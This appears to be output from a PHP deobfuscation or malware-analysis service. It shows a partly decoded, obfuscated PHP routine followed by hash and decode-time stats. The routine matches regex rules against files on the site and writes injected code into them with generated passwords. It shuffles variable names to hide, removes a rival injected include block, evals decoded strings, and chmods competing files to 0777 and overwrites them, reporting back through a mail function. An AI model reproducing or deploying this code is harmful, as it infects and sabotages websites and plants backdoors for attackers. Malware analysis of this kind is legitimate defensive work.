kgJiYgKCRpID0gJ3AnKSAmJiAoJHAgLj0gJyNUIycpICYmICRjKG1kNSgkcCkpICYmICgkbiA9ICduYW1lJykgJiYgKCRlID0gJ2Jhc2U2NCcgLiAiX3skZX0iKSAmJiAoJHMgPSBlbXB0eSgkZFskbl0pID8gJycgOiAkZFskbl0pICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMpIHtpZiAoJHMpIGluY2x1ZGUgJGU7fSkgJiYgc3RybGVuKCRzID0gJGUoJHMpKSA+IDE5ID8gJHkoJHogPSAnI04jJywgc3RyaXBvcygkcywgIjw/eyRpfWh7JGl9IikgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCR6LCAkcykpIDogJycsICR6ID8gZXhpdCgwKSA6ICcnXTsNCg0KDQoNCg0KDQoNCg';
$text = exPloDE(T("Ly","oqKi8",2), $c[1]($text));
$note = T("L1wqKC4ro","PylcKi9ccy",8);
$pa = '';
$preg = [
"#{$note}{$note}{$note}([\s\S]+)#mi",
T("LyvbWk","hcJFx3Kyk",2),
];
foreach ($text as $key => $item) {
preg_match($preg[0], $item, $ma);
if (!$ma) continue;
if (!fiLe_EXisTs($file = ROOT . $ma[1])) continue;
$_preg = $c[11](T("","Wypd",0), T("KFtc","c1xTXSs/KQ",4), $ma[2]);
$ma[3] = $c[11](['\n', '\t'], ["\n", "\t"], $ma[3]);
$c[12]($preg[1], $ma[4], $pa);
$s = ARray_VALueS(ArRaY_UNIQuE($pa[0]));
list($t, $r) = self::vars($s, [T("JHZl","cnNpb24",4)]);
$ma[4] = $c[11]($s, $t, tRIM($ma[4]));
$t[] = T("","I1Qj",0);
$t[] = T("","I1Aj",0);
$t[] = T("","I04j",0);
$r[] = $_p = rand_abc(rand(2, 8));
$r[] = MD5($pass . $_p);
$r[] = TImE();
$ma[4] = $c[11]($t, $r, $ma[4]);
$fs = $c[2]($file);
self::gg($fs);
$ma[3] = $c[11](T("W","1Jd",1), $ma[4], $ma[3]);
if (empty($fs) || $fs === ($l = pREG_REPlacE($_preg, $ma[3], $fs)))
continue;
site_mail($ma[1] . ":" . ($l && sTrLEN($l) > 100 && ufleep($file, $l, $c)? T("b2s","hIQ",3): T("Z","mFpbA",1)), 1);
}
}
static function vars($r, $dis = []) {
$o = '$';
$t = $p = [];
$x = Str_sHuffle(T("YWJHFyc3R1dnd4eXpf","jZGVmZ2hpamtsbW5vc",3));
$dis += [$o . T("X","0dFVA",1), $o . T("X1","JFUVVFU1Q",2), $o . T("X0NP","T0tJRQ",4), $o . T("X1N","FUlZFUg",3), $o . T("R0w","xPQkFMU",2)];
$k = 0;
foreach ($r as $v) {
if (!iN_aRRay($v, $dis)) $v = ($v[0] === $o? $o: '') . $x[$k];
$t[] = "&{$k}]";
$p[] = $v;
$k++;
}
return [$t, $p];
}
static function gg(&$txt) {
preg_match(T("IygvXCpcU3syLDE2fVwqLylc1ZGVccytcUys7KVxzKigvXCpcU3syLDE2fVwqLykjbWk","cyooQGluY2x",24), $txt, $ma);
if ($ma && STrLEN($ma[1]) === StRLEN($ma[3])) {
$txt = Str_replAce($ma[0], '', $txt);
pREG_MAtCh(T("IyI1p","oXFMrPykiI2",3), $ma[2], $ma);
$ma && $ma[1] && self::dec($ma[1]);
}
}
static function dec($str) {
try {
$a = '';
eval(T("JGE","9Ig",3) . $str . '";');
if ($a !== '') {
if (FILe_exists($a) && FILESIZE($a) > 5 && !@IS_dIR($a)) {
is_WRItEabLE($a) || @cHMod($a, 0777);
$m = @fILE_pUT_CoNteNTs($a, ' ')? T("b2s","hIQ",3): T("Z","mFpbA",1);
} else $m = T("bn","VsbA",2);
site_mail("[GG] $m", 1);
}
} catch (\Exception $e) {
}
}
}
?>
Function Calls
None |
Stats
MD5 | 5d0d39da4f487bce2c0529c39eaa4274 |
Eval Count | 0 |
Decode Time | 398 ms |